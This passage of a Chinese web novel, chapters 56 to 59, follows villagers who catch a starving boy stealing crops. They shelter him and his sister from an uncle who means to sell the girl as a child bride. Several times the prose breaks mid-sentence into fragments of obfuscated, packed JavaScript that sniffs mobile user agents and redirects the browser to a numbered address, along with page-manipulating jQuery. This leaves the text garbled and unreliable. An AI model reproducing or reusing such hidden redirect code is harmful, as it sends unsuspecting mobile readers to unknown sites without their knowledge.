l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692705|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是碾压的爽感。 事关地里的作物，钟伟先吃完饭就去找村长了。 钟莹莹没事干，回到屋子里插上门，扒拉自己放在屋里的存货。 她有两个枣木做的大箱子，一个箱子用来装衣服，另一个用来装她的零食囤货。 这枣木箱子是她这辈子奶奶的陪嫁，很结实耐用，上面还有两把小锁，东西放里面，锁一锁，谁也别想看见里面装了啥。 一包水果硬糖，两包海市寄来的肉干，一陶罐的干薄荷叶，半包干红枣，一兜鸡蛋糕，这些就是钟莹莹的全部存货。 粮食陈显英都给用麻袋装好塞床底下，又拿破筐烂箱子仔细堵好了。 空间里钟莹莹也放了不少粮食，钱是她平时攒下来的，票是宋茹给的，还有一部分是和城里同学换的。 宋茹每次给她寄东西，都会寄很多，其中一些来自海市的新鲜货，尤为受到同学们喜爱，有些宁愿少吃几顿饭，也要和钟莹莹换。 能囤东西，钟莹莹哪里有不愿意。 她没事还在学校给同学补补课，帮助他们学习，换来的是他们有余下的粮食，会分给她一点。 她在学校造谣，说村里没吃的了，楚秀秀也跟着胡闹，帮同学做事情，换点口粮。 钟家岗的名声都被她俩破坏了 钟莹莹知道有黑市，但她胆子小，不敢去啊！ 小富即安的思维，让她不敢去冒险。 胡乱抓了一把薄荷叶，放到碗里碾碎，钟莹莹去到灶房，舀了一瓢锅里的开水，直接将薄荷浸入水中，然后又端起院中的一盆水，把薄荷水倒进盆中，和盆里的水混匀。 院里的水就是晒来洗澡的。往盆子里放水，晒一中午，傍晚的时候拿来洗澡，温度刚刚好，还能省柴火。 钟莹莹脱下衣服，一点点用毛巾蘸着薄荷水擦身体。 将全身的汗液都清理干净，钟莹莹喟叹：“舒服！” 天热，搞点薄荷擦澡，透心凉，心飞扬。 薄荷味道刺激，还能预防蚊虫叮咬。 可惜不能泡澡，只能简单擦一擦。 井水水位线下降，打水不易，不能浪费。 明天干完活还得和小伙伴们继续探索地图，看看有没有能吃的东西，给弄回家存着，今天她可得早点睡。 屋里她娘给她用艾草熏过了，没有蚊子，往凉席上一趟，摇着蒲扇，钟莹莹没几下就给自己扇睡着了。 睡梦中，就听见有人喊，抓小偷了，实在太困了，她就没起来，昏昏沉沉又睡了过去。 “娘，昨天晚上我好像听见有人说话了，是我在做梦吗！”第二天醒来，钟莹莹还以为昨晚是在做梦。 陈显英笑道：“不是做梦，村里昨晚真抓到小偷了，还是新来的那俩知青抓到的。” 钟莹莹不敢置信，变化那么大的吗？直接从狗眼看人低的势利眼，变成了能抓小偷的厉害人物。话说回来，地里红薯都没长成呢，那些人就来偷，真是没有功德心。 她推荐巡逻也是怕后期结果的时候，有人搞破坏，没想到当天就派上用场了。 56. 第 56 章 一个十一二岁的小孩，被王岳死死的压在身下，地上是一片被压倒的红薯苗，边上还散落着几根黄瓜和洋柿子。 青壮年对上瘦骨嶙峋，看上去好像是王岳在欺负人。 第二天早上，钟莹莹才见着那个小偷。 身上的衣服都烂成一条一条的了，被关在牛棚里，还一脸倔强不服气。 “这就是那小偷啊！”楚秀秀偷瞄了一眼，心想他看起来不像是小偷，更像是个小乞丐。 村长正在发愁，这孩子该怎么处理。 他偷的东西不多，也没破坏村里的庄稼地。 应当是来偷好几回了，之前村里就有人丢辣椒茄子的，数量不多，他们也没多在意，以为是哪个邻居临时摘了去吃。 送去公安局吧，现在严打，对小偷小摸罚的也重得很，一个小娃娃，蹲篱笆子一辈子就毁了。 把人放了？万一再来他们村偷东西怎么半？村长是进退两难。 没等他想出个章程来，老楚媳妇过来喊：“村长，村口又来个小女孩，说是找她哥的！” 小女孩？找人？ 村长忙跟着去了村口，在牛棚前面看热闹的众人也跟着过去。 “我找我哥，他昨个晚上来你们这拿东西，一晚上都没回去！”一个小丫头，才五六岁大。身上的破衣服和牛棚里关着的那个如出一辙。 脸上脏的压根看不清长啥样。 “你哥是不是这么高，头发这么长。”村长用手大概比划了一个到他胸口那么高的高度，至于头发，指了指身边站着的老楚媳妇。 “对，那是我哥。”小女孩露出喜悦的神色。 “好哇，都找上门来了，你哥是小偷，你就是小小偷，我今天要把你们都送公安局去！”王岳满脸狞笑，桀桀桀的朝小女孩伸出魔爪。 昨天抓了个小偷，今天又抓了个小偷同伙，他可真厉害，刚住到钟家岗第二天，就能立那么大的功，那他回城应该不远了吧？ 小女孩被吓到了，眼泪顺着脸颊往下流，脸上的泥痕被冲刷的一道道的，却还是瑟缩着反驳：“我哥才不是小偷，你才是小偷。” 钟莹莹看着她这么笃定，还在想是不是真有什么隐情。 “你哥不是小偷，那干嘛来我们村偷东西？”钟新澄躲在钟莹莹身后，探出一颗小脑袋来。 “对啊，你哥是大小偷，你就是小小偷！”王岳说着就要伸手去抓她。 “别碰我妹妹！”一声大吼从王岳背后传来，接着他‘哎呦~’惊叫一声，被一颗炮弹一样的玩意给撞倒在地。 “什么东西？我的老腰啊！朱志鑫你是死人啊，还不快过来扶我！”受到重创的王岳揉着腰坐在地上，还不忘朝着无事人一样的朱志鑫发火。 朱志鑫皱着眉，又想起王岳的背景，最后还是咬牙把人扶起，扶着他靠在自己身上。 钟莹莹看清了那个‘炮弹’的模样，不是方才被关在牛棚里的偷儿是谁？ 此刻他像个小狼崽子一样，一脸防备的把小女孩护在身后，也不知道是怎么逃出来的。 黄大花盯着他看了许久，忽然一拍大腿：“哎呀，你俩是不是何家的娃娃？” 小狼崽子瞅了黄大花好几眼，像是辨认出她是谁了，最终不情不愿的喊：“大娘。” 她就说怎么看这两个那么眼熟，这不是她原来住的黄家岗村里的孩子嘛！ 要说这俩孩子也是命苦，娘死的早，爹也得了肺痨病，她跟儿子随军那一年，何小柱子好像就没了。 俩孩子这几年也不知道咋过来的，看这穿着打扮，就不像是过得好的样子。 “强先啊，让他们都散了吧，是自己人，我来问问咋回事。”一大群人啥活也不干，围在这里像什么样子。 王岳不乐意了：“不行，不能散，他们是小偷，得抓了送公安局。” 这都是他的业绩啊，散了他找谁去。 朱志鑫扯扯他的手：“别嚷嚷了，你看不出来吗？他们都是一伙的，我们才是外人。” 王岳气不过，还想继续闹。 村长站出来打圆场：“这孩子黄家岗的，我认识，老熟人了，找他父母过来赔了东西就行，孩子还小，给他们一次改过的机会，下次再犯，一定给他们送公安局去。” 他认识个鬼啊，去黄家岗要过河，除了娶媳妇那年，他到河对岸去的次数，屈指可数。 小狼崽子做了个鬼脸：“我娘死了，爹也死了。”找他们赔东西，下辈子吧。 村长有些尴尬：“那啥，我太久没去黄家岗了，小问题，小问题哈~” 黄大花扯过小狼崽子，去边上问：“你俩咋回事？怎么跑到钟家岗来偷东西？黄家岗没吃的了吗？” 都吃大锅饭了，即使吃不饱了，也不至于跨河偷东西吃啊。 “爹死了，我家房子被大伯占了，大伯要把我卖给王瞎子家当童养媳，哥哥就带着我跑了。”小狼崽子还没说话，他妹妹就出来解释了。 “哎呀~这遭瘟的何大柱！”黄大花气的直拍大腿，何小柱就留下这么俩孩子，何大柱把人房子占了不说，还要把人闺女给卖了，真不要脸啊。 王瞎子那一家都不是啥好东西，生了七八个女儿，全部丢河里淹死了。 最后得了个儿子，生下来看起来蛮好，等到大一些，会走路了，一下子就看出不正常来。 家里的小鸡小鸭好好的，他抓起就往嘴里塞，一开始没牙，大家都当他是耍着玩，等他长牙后，摸到啥活物，通通要给弄死，用牙齿扯的稀巴烂，脸上沾得全是血。 没有孩子愿意靠近他，王瞎子整天还乐呵呵的说他儿子有血性，长大一定是个厉害人物。 俩孩子身上脏成这个样子，不像是刚溜出来，应当是跑出来很久了。 黄大花给钟强先解释了一下俩孩子家里的事，一脸犯难道：“强先啊，你说这咋办啊？” 给孩子送回去，那就是死路一条，留着吧，村里粮食也不多，总不能白养两个孩子。 钟莹莹听得心惊胆颤的，好家伙，原来上辈子钟新澄那样的，都算是好的了，这种才算是真坏吧！茹毛饮血！毫无理性、毫无道理的恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699847|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！ 她捏捏钟新澄的脸，突然感到有些庆幸，要是钟新澄小时候是王瞎子家里的那个样子，估计活不过几天，就会被她大义灭亲。 “这俩孩子给我吧！” 老万冷不丁的接了一句。 黄大花吓了一大跳。 回过神来，觉得这不失为一个好主意。 老万没老婆，也没孩子，家里只有他一个人，收了这俩孩子，以后还能给他养老。 就是不知道，这人半辈子不愿意娶媳妇生孩子，给爹娘都气死了，怎么会动心思想收养这俩孩子。 黄大花用怀疑的眼神看着老万，想要看清他葫芦里卖的是什么药。 “这俩孩子克亲，和我挺合适的。”老万说的很小声，除了村长和黄大花，没别人听见。 黄大花手一抖，立马放开了牵着小女孩的手。 三人也不知道去一旁谈了什么，只知道谈完后，黄大花去劝俩孩子，然后俩孩子都跟老万走了。 “英婶，你看能不能行你帮个忙。”老万掏出几件旧衣服来。 “这衣服原先我爹娘的，你看能不能帮忙给改一下，拿给俩孩子穿。”这年头没那么讲究，有衣服穿就不错了，那管它是什么人穿过的。 老万自己不会做衣服，不然也不用请陈显英帮忙。 陈显英摆摆手道：“那么客气干什么，两件衣服而已，随手就改了。” 改衣服需要将两个孩子过来量一下尺寸，俩孩子来的时候，钟莹莹正吃饭呢。 泥巴糊的俩人让陈显英有种无从下手的感觉。 看着男孩那一头乱七八糟的长发，陈显英鸡皮疙瘩都起来了，也不知道里面有没有虱子跳蚤，她忍不了了：“明月，你帮我把剪子拿来。” “好的，娘。” 钟明月把剪刀从装针线碎布头的竹篮子里拿出来，递给陈显英，就见她过去扒拉了一下男孩的头发，见里面果然有小生物在爬，立马按住男孩，咔擦几剪刀就把他头上的头发剪了。 男孩身上有虫子，女孩指定有跑不了。 要去给女孩剪头发的时候，男孩警惕的把妹妹护在身后：“你要干什么？” “给你妹妹剪头发，你头上有虱子，她肯定也有，不剪掉把虫子杀死，天天搁头上吸你俩血，会变傻子的！”陈显英在故意吓唬他。 男孩这才把妹妹松开，见陈显英剪她头发，还是紧张的把手心都攥出汗来。 陈显英把他俩都剪成了光头，剪下来的头发直接点火烧了个一干二净，虱子会传染，随便乱丢，传染给别人不是造孽了嘛！ “行了，你俩回去让老万给弄点水，洗个澡，一会儿我把衣服给你们送去。”这家伙，身上的皴都厚的像墙皮一样了。 钟新澄盯着俩光头，乐的直笑：“大光头、小光头、大乞丐、小乞丐！” 男孩恶狠狠瞪钟新澄一眼，钟新澄害怕，躲到钟莹莹身后，他又去瞪钟莹莹。 钟莹莹有些无语，她招谁惹谁了？ 算了，人都这么可怜了，她就不跟他一般计较了。 57. 第 57 章 第二天一大早。 钟新澄扒着墙头，咧着个大牙：“喂~傻缺！” 他对面的男孩默不作声的干活，女孩气哄哄道：“你才傻缺！” “木木，别惹事。”钟莹莹死亡视线扫视。 钟新澄老实了，慌忙从鸡圈边上垒的砖头上跳下来：“姑姑，我没惹事。” 黄家岗那边来人，钟强先一开始以为是来找兄妹俩的，后来发现哪是啊！是来问他要不要一起去申请救济粮的。 至于流落在外的兄妹俩，无人在意。 那个大伯一家巴不得他俩消失呢，消失了霸占房子就名正言顺，也不用担心男孩长大了把房子抢回去。 “你们真不去申请啊？”黄家岗的村长不敢置信。 钟强先打哈哈道：“这么多人去，能轮到咱们吗？我们等等再去！” “那我去问问吴家村的。”黄家岗的村长其实心里有些不好意思，之前粮食产量报那么高，这才过去多久，就去申请救济粮，这不是自己打自己脸嘛！ 可谁让他也没办法呢，村里人吃得多，之前收的粮又全交公粮了，去年剩下的粮吃的是一点也不剩了，再没粮食，大家都要喝西北风了。 钟强先敷衍道：“行，你去吧，要是真的能要来粮，别忘了和我说一声啊！” 一大波人涌去镇上，再去县里，那不是找骂呢吗！他才不去触这个霉头。 再者他们真是熬不下去了才去要粮的吗？都是灾荒年过来的，钟强先不信他们真的是每家每户都把粮全部交给食堂了。 都想着占便宜呢，也不看看这个便宜能不能讨到。 钟家岗家家户户都藏了粮，即使这一季没收成，他们也能撑的过去。 钟家岗人都学聪明啦，好处落到手里才叫好处，只拿个名声，这不，吃到苦头了吧！ 钟强先没有放松警惕，有粮归有粮，生产也是要跟上的。早上吃完饭，他就敲锣打鼓的喊大家干活。 小孩子拔草抓虫，大人则被喊过去挖井去了。 现有的水井水位线严重下降，再这么下去别说浇地了，村民们的日常生活用水都成问题。 钟强先和钟伟先商量了一下，找了专业打井的过来再凿两口井。 按照钟家岗的地里位置，找水源应当是很简单的活计。 “怎么样？找到了吗？”钟伟先一回到家，陈显英就迎了上去。 “唉~哪能啊，挖了两处都没冒水！”以前钟家岗往下挖个两三米就能有水的，现在挖了五六米，没见水的踪迹，也就泥土比表层土略微湿润了些。 “爹，我记着大塘南边不是有个废井吗？那个再通一通还能用不？”钟绍华想起钟家岗大鱼塘里的旧井。 因为位置原因，当年挖鱼塘的时候，被归到了鱼塘里，大多数时间在水下，也就被废弃了。 现在鱼塘都干涸了，其他位置打井深度不够又不出水，大塘那个井本来位置就比其他位置低很多，又一直在水下，应当能出水的吧！ “绍华说的有道理，你跟强先过去看看吧！”陈显英迫不及待的把人推了出去。 打井的事迫在眉睫，一刻也耽误不得。 钟莹莹也知道那口废井，前世还差点淹死过人嘞，她发小夏天的时候调皮，偷完西瓜吃，去塘里洗手，正好掉到那个位置，怎么爬也爬不上来。 幸亏他弟弟在边上，那孩子是个机灵的，没有下水捞哥哥，哭着跑去喊大人，那个发小被捞上来的时候，嘴唇都青紫了。 被大人倒着拎起来甩水，哇哇吐了一地，救护车拉走后有大半年没见着他。 能把人淹成那样，指定水没枯竭。 果然，钟强先再回来时，脸上就带了几分喜色：“孩他娘，真叫孩子说对了，那废井往下清清淤泥，真有水啊！” 不止有水，水还比岸上井里的水多多了。 “有水就好，有水就好啊！”陈显英激动的热泪盈眶。 她是经历过苦日子的，那些痛苦的记忆，她已经不想再去回忆。 钟伟先也很感慨：“是啊，有水就好啊！”有水庄稼就能继续长，他们就能混口饭吃。 红薯和高粱得到井水充分的滋润，发育的越发枝繁叶茂，比之其他村地里枯黄瘦小的作物，简直是一枝独秀。 有经过钟家岗的，都要赞叹一声，钟家岗的地种的是真好。 钟莹莹在帮着村里的妇女摘菜洗菜，然后铺到竹篾上晾干水分。 钟家岗这一季的咸菜已经不打算对外出售了，不划算，往外卖的价格顶不上他们去外面买东西的价格，还不如留在自己吃。 咸菜厂当初办的手续齐全，采买盐和腌制用的香料都能拿到批条，不然按照现在食盐都要管制的规矩，在村里搞腌菜，连盐都拿不到。 “听说吴家村死人了？” “可不是吗！除了咱们村，其他村的老人今年夏天走了老些个！” “今年确实太热了些！” 一大娘神秘道：“有一个好像是偷着埋地里了，结果第二天就被人上门给挖出来拉走烧了！” 钟莹莹也附耳过去。 “嗐！那可真缺德啊！” “那谁说不是呢！好好的人都埋下地了，给人挖出来，不是损阴德是什么！”最后那句话她们是压低了声音说的。 这年头不让宣扬封建迷信，但是乡下人多少信点这个。 “别说了，等下小心被人听到举报你们！”陈显英出来制止。 “英婶，咱们都是自己人，谁不知道谁啊！哪里会有人举报？”话是这么说，众人还是不约而同转移了话题。 “孩子，老万给你俩改姓了吗？”没东西可说，几个八卦的妇女又把视线转移到了黄家岗的那俩孩子身上。 “没有，爹说我和哥哥不改姓。”女孩叫何梦婷，男孩叫何止尧，还是以前在黄家岗的姓名。 老楚媳妇纳闷了：“那老万图啥啊？”留俩娃子不该姓，叫什么传宗接代。 其他人也奇怪的很，不过一想到老万，那一向就不是个正常人，自个爹娘都能给气死，做出这样的事来，也不奇怪了。 “你几岁了？”村长媳妇看她长得可爱，还伶牙俐齿的，忍不住逗她。 “我七岁了，哥哥十三岁了！”何梦婷奶声奶气答道。 钟莹莹有些讶异，转头看向何止尧，看着不像啊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703667|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没自己高呢！ 老楚媳妇随口一问：“你俩上学了没有？” 小丫头被戳到伤心处，不吱声了。 人群之中是突如其来的一阵沉默。 陈显英安慰道：“没上学也没关系，回头让老万去学校给你们报名去！” 听到这话，何止尧眼神中流露出巨大的惊喜，他和妹妹真的可以去上学吗？ “学校又不收学费，不去上那不是傻了吗！” “就是就是，钟家岗的孩子都要送去上学的！” “谢谢你们！”何止尧的声音有些哽咽。 他娘还活着的时候，他爹有想过送他上学，可他娘没了，接着他爹也一病不起，他再也不敢提上学的事情了。 众人面面相觑，暗道，这俩也是可怜孩子啊，何止尧比莹莹还大几岁呢，结果还没莹莹个子高，矮坨坨的。 何梦婷也比钟新澄要大，瞅钟家那个，身上的肉扎实的很。 要是丽丽在家，这兄妹俩，连钟家长得比较瘦弱的丽丽都比不过。 知道能去上学，何止尧干活干的越发卖力。 腌菜坛子不用大人喊，他自己就去给抱过来了，就连那大缸，他都兴奋的想较一较劲。 去完镇上又去县里的黄村长，被人好一顿骂，耷拉个脸回来了。 “强先，你是不是早知道要挨骂才不跟我一块去的！”黄村长的脸皱成一张苦瓜脸。 钟强先哪里能承认：“谁说的，我们村事比较多，我想晚点再去。” 黄村长看着忙碌的钟家岗人，信了，然后又看向钟家岗地里的庄稼：“强先，你们地里庄稼咋长那么好啊？我们的都快干成柴火，一点就着了！” 钟强先腹诽，能不干嘛！浇水两天打渔三天晒网的，自己村可是每天都要人工浇水的。 “嗐~我们村找人来又打了井，一点点挑水浇的，一天天的累死个人！” 钟强先试着说：“挖了好几个地方才找到水，你们村地势低点，还在坝子边上，应当比我们好挖些，要不然让他们也去给你们打个井？” 黄村长有些心动，却还是嘴硬道：“我们村哪有钱打井啊，好不容易有个出息的，当兵了，还被你们钟家岗给挖来当上门女婿了！” 对于黄大花一家搬家，他是心存怨念的，一块在黄家岗住了那么久了，结果她一家倒是不声不响脱离苦海，直接上岸了。 村里人呢，还在那过苦日子呢！ “我那丈母娘腿脚不行，不还是想着给她接过来，方便照顾着些嘛！”钟强先解释道。 “一会就吃饭了，食堂做了饭，你看要不你中午在这吃？” “那哪能啊？大家都不容易，怎么能白吃你们粮食，我看我还是回家去吧！”黄村长不是死皮赖脸的人。 食堂的饭都是有定量的，自家村里的吃了没事，外村人，那就比较尴尬了，他不好随随便便吃人家的饭。 他跟钟强先道别后，就跟着黄家岗的其他人走了。 走时看见何止尧两兄妹也没说什么，自己村的人容不下他们，他这个当村长的总不能拦着他们奔活路去。 打井一事，终是让他记挂在心上。 58. 第 58 章 燥热的天气不同寻常，往常悠长的蝉鸣也消失不见。 田地裂开一条条裂缝，唯有钟家岗人仍旧勤勤恳恳的挑水，浇水，种地。 黄家岗那两兄妹最近奇怪的很，莫名其妙对钟家几个孩子献殷勤，连调皮捣蛋的钟新澄也没放过。 在何止尧又一次的帮钟莹莹归拢起地上的草，装进背篓，送到钟家喂鸡时，钟莹莹忍不住了，她试探着问：“何止尧，你是有什么事要说吗？” 无事献殷勤，钟莹莹不相信会有无缘无故的好。 男生仍旧头也不抬的干活：“没有！” 钟新澄不客气道：“那你干嘛一直帮我们干活？” 他姑姑最近都没地方使唤他，这坏人该不会想占自己位置吧？ 有个丽丽就够烦了，天杀的，怎么又来一个！ “我、我、我……我想跟你们一块学习。”钟莹莹每天都会抓着钟新澄和丽丽写暑假作业。 钟家每到下午一整个鸡飞狗跳。 何止尧看在眼里，却羡慕在心里。 他是个文盲，他妹妹也是文盲，陈显英给老万说了，等开学送他俩去镇上上学。 何止尧有些迫不及待。 但想到自己的年龄，比钟莹莹大还要去读小学一年级，他有些自卑。 他想早点开始学习，等到去学校，不落在后面。 钟新澄欠儿噔的绕着何止尧转了一圈，像是在看什么稀罕物一样：“天呐，竟然还有人想自讨苦吃！” 要不是他姑姑每天抓着他学，他早就出去玩了。 “木木！”这熊孩子，一天不挨揍都皮痒。 钟莹莹教训完钟新澄后，转过身来对何止尧道：“你可能不知道，我们村的知青一直有开学习班的，大家都可以过去听课，之前我们扫盲都是在那边的。” “这阵子比较热，活也多，他们就没上课，等过几天闲了凉快点就好了。” 钟莹莹解释的很明白了，可何止尧还是想为自己争取一下：“我想早一点开始学~” 面前的人穿着大人衣服改版的短袖短裤，没穿鞋，漆黑的脚丫子就这么踩在炽热的泥土上，头发被囫囵剃了个光头，裸露在外的肢体只有皮包着骨头，干瘦的像竹竿。 瘦削的脸上却长着一双大眼睛，黑黝黝的眼珠子眨也不眨的盯着钟莹莹。 “姑姑，他想学，你就让他跟我一起学好不好嘛！”钟新澄想找个人来吸引火力，这样他姑姑就不会太关注他的成绩了。 丽丽那个不靠谱的，天天姑姑一说她就老实学习了，衬托的自己很不乖，这来个文盲，一对比，姑姑就知道自己的好了，以后就不会挨揍了！ “我不白学，我可以帮你们干活的！”何止尧知道自己的行为是在占便宜，可是已经见过光明，他又怎能再忍受黑暗。 何止尧想的很简单。 识字就好了，识字他就能看懂报纸，以后能找到工作，养活自己和妹妹。 钟莹莹还没回应，一道怒吼突然从背后传来：“何止尧！” 眼前的人像是见了鬼一样，脸色刹那间变得惨白。 “长本事了啊，说跑就跑，嘁~有本事跑远点别让人看见呀！”一个钟莹莹未曾见过的陌生中年男人冷嘲热讽道。 “你妹妹呢，走，带我找她去！”说着，那男人就要去扯何止尧的胳膊。 提到何梦婷，何止尧犹如大梦初醒般猛的挣脱男人的桎梏，怒吼道：“我不去，你又想干什么！” “我是你大伯，我能干什么？”男人气不打一处来。 钟莹莹在俩人发生争吵的时候就让钟新澄喊黄大花去了。 黄家岗的事还是得黄家岗的人解决。 “何大柱！”黄大花来的很快。 “花姐。”何大柱面露尴尬。 黄大花走的急，此刻有些气喘吁吁：“哟~还知道我是你姐呢！” 何大柱：“花姐你这说的什么话！” “我说的什么话？你干的就是人事了？别以为我不知道你想干什么！”黄大花瞧不起何大柱这样的人，为了一丁点利益，什么事都做得出。 何大柱弱弱道：“姐，我也是为了两个孩子好，他俩就这么赖在钟家岗，天天吃人家粮食，不好~” “为他们好？为他们好你要把梦婷卖给王麻子儿子当童养媳？”黄大花气不打一处来。 何大柱还想狡辩：“花姐，那是孩子乱说的，我是他俩亲大伯，怎么会做那样的事！” “你什么样我不知道，但这俩孩子你不能带走。”真让他把俩孩子带回去，绝对落不到好。 何大柱不装了，丑恶嘴脸原形毕露：“花姐，这事不是你说了算，我是孩子大伯，他俩爹娘都没了，他们的事就是我说了算！” 要不是家里急用钱，谁愿意带这俩丧门星回去啊！ “你把他们带回去得先还钱，他俩偷了我们钟家岗的东西，还偷好多天！”钟莹莹幽魂一样提醒。 黄大花也想起这件事，跟着道：“没错，这俩孩子之前在外面，一直偷的钟家岗的东西才活下来，你想把人带走，得先赔钱！” 钟家岗其他人也过来了，村长钟强先过来给何大柱算了一笔账：“钟家岗这俩月一共失窃三十六回，第一次，老楚家俩鸡蛋，第二次，食堂三个红薯，第三次，大塘菜地两个西红柿，三根黄瓜……” 吧啦吧啦说了一大堆，然后说了一个数字：“你把人带走，至少得赔我们十块钱。” 何止尧听着这一字一句，眼睛里逐渐充满泪水，这几天的幸福和自由，终究还是他的奢望吗？ “村长，还有这几天的伙食费呢，他俩穿的衣服也是我们村老万家的！”村里其他人跟着捣乱。 钟强先斩钉截铁道：“那就再加两块钱！” 钟莹莹声音清脆：“叔，他俩偷的鸡蛋可是种鸡蛋，能孵小鸡的，小鸡长大还能下蛋，下的蛋能孵小鸡，鸡生蛋，蛋生鸡，他得赔！” “姑姑，那得赔多少啊，我不会算了！”钟新澄把十根手指头都掰了一边，也没算过来。 钟强先嘴角抽搐了下，没看出来他这个侄女/妹妹是个心黑的。 他顺着钟莹莹的话往下说：“对，鸡生蛋，蛋生鸡，他俩偷的是钟家岗小鸡的未来！” 说这话的时候，钟强先感觉自己的良心在痛，这不纯纯无理取闹嘛！ 何大柱咬着牙：“行，你说个数，我赔！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709382|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黄大花看他一眼，心里纳闷，这太阳也没打西边出来啊，铁公鸡怎么就拔毛了！ 钟绍华赶来，狮子大开口：“得赔五十！” 钟明月掐两下他的胳膊，示意他别太过分了。 钟绍华拍拍她的胳膊，让她别担心。 “你们抢劫啊！”一二十块，何大柱都要心疼死了，一下子要五十块，他不可能拿得出的。 “交钱就放人，不交钱就滚蛋！”钟新澄觉得有意思，叉着腰，也有样学样！ 何大柱扫视一圈，忽然觉得有点委屈：“你们！你们都是一伙的！” “还要不要人了，要就交钱！” “我交！”何大柱恶狠狠道：“现在我身上没有那么多钱，等我先把人带回去，再给你们送钱来！” 钟强先想也不想的就拒绝了：“不行！谁知道你会不会跑了？” 跟他丈母娘黄大花想法一致，钟强先也是认为这人一下子出那么多钱是心怀不轨。 “你们不要太欺负人了！”这钟家岗的人也太难缠了。 “既然这样，大的这个我不要了，你把小的给我，我带走，东西是她哥偷的，梦婷又没偷！”何大柱最终露出马脚来。 一听何大柱要带走妹妹，何止尧双目通红，心中的怒火再也压抑不住，抄起墙边立着的铁锹就往何大柱脑袋上砸：“我跟你拼了！” 何大柱躲了一下，只被拍到了肩膀。 “嘶~小兔崽子，你找死啊！”他也被激起了怒火，四下瞅着，想找个趁手的武器打回去。 没找到，他就盯上了那把砸他的铁锹。 钟新澄抢先一步把铁锹拿到手，冲何大柱微微一笑：“这是我家的铁锹，砸坏了你俩得赔钱！” 钱！钱！钱！钟家岗的人就知道要钱！何大柱感觉自己要疯了，满腔怒火无处发泄。 他又盯上了何止尧：“你妹妹呢？我要带她回家，你听见了没有？” “听见了！听见了！你可真啰嗦！”王岳早都来了，一开始只是嗑着瓜子在边上看热闹。 听了一段觉得有点不对劲，又掏出一把瓜子和村里人打听。 了解完事情的全部经过后，他只想说何大柱是真畜生不如啊！也不知道那王麻子家给他开了什么好处，让他一心想要坑死自己侄子侄女。 王岳自认为自己不是个好人，但也绝对不会像何大柱一样，猪狗不如。 因此，他上前去警告道：“我可和你说了啊，包办婚姻是不可取的，伟人都说过了，我们的婚姻是自由的，还有，买卖小孩是犯法的，你要是给那个黑麻杆送去当童养媳，我就去举报你！让你全家都蹲篱笆子去！” 越想王岳越觉得可行，他都有点期待了。 “犯什么法？我嫁自己侄女还犯法了？”何大柱神色慌张。 “随你咯，黑麻杆就在那个啥老万家，你去就是了，等你去了我举报你，到时候就可以回城了，哈哈哈哈哈哈”王岳抑制不住自己的笑容。 何大柱害怕了：“我不跟你们一般见识，闪开，我要回家了。” 逃跑的时候他脚下还踉跄了几步，慌不择路到差点摔倒。 烈日炎炎，何大柱却吓出了一身冷汗。 59. 第 59 章 “尧尧，你跟你妹妹就安心在钟家岗待着，何大柱不敢再来的！”黄大花拍拍何止尧的肩膀，轻声安慰着。 钟新澄也一反常态的冒出头来：“他再来我喊丽丽他爹给人抓走，让他蹲篱笆子去！” 这称呼是最近他跟大姑学的，他觉得好玩，比姑父好听，自己没事就这样叫。 何止尧深深鞠了一躬：“谢谢你们！” 弯腰时眼泪啪嗒啪嗒往下掉，至亲的大伯恨不得他们去死，这些没有血缘关系的人却一直不计前嫌的帮助他们，何止尧内心五味杂陈。 “哥哥！” 跟着老万一块姗姗来迟的何梦婷也是泪眼婆娑。 她有点发烧，吃了药搁家睡觉呢。 老万也不在，他在台子后面砍竹子，准备搭个网格的棚子，给院里的菜遮阴，能少浇点水。 “没事，不哭。”何止尧扯了扯嘴角，露出一丝苦笑。 朱志鑫一开始不敢说话，等人走了，开始放马后炮，刷存在感：“咱们村有警察，还有我们这些正义的知青和村民，不会让他得逞的！” “说的好！”众人齐齐鼓掌。 何止尧在这样温馨的环境中，感到无比的心安，心里充满了归属感。 他决定，以后要把自己真正当成钟家岗的一分子，此前被胁迫成为老万继子的不甘彻底烟消云散。 另一边仓皇出逃的何大柱却没那么顺当了，回到家里就被媳妇劈头盖脸扇了一巴掌：“那小丫头人呢？” “嘶……你打我干嘛？”何大柱捂住脸直跳脚。 “抓个小丫头片子都抓不到，还问我打你干嘛？”何大柱媳妇不是个好相与的。 何大柱用舌头抵了抵后槽牙：“那丫头你别想了，搁钟家岗犯事了，人家让他兄妹俩抵账了！” 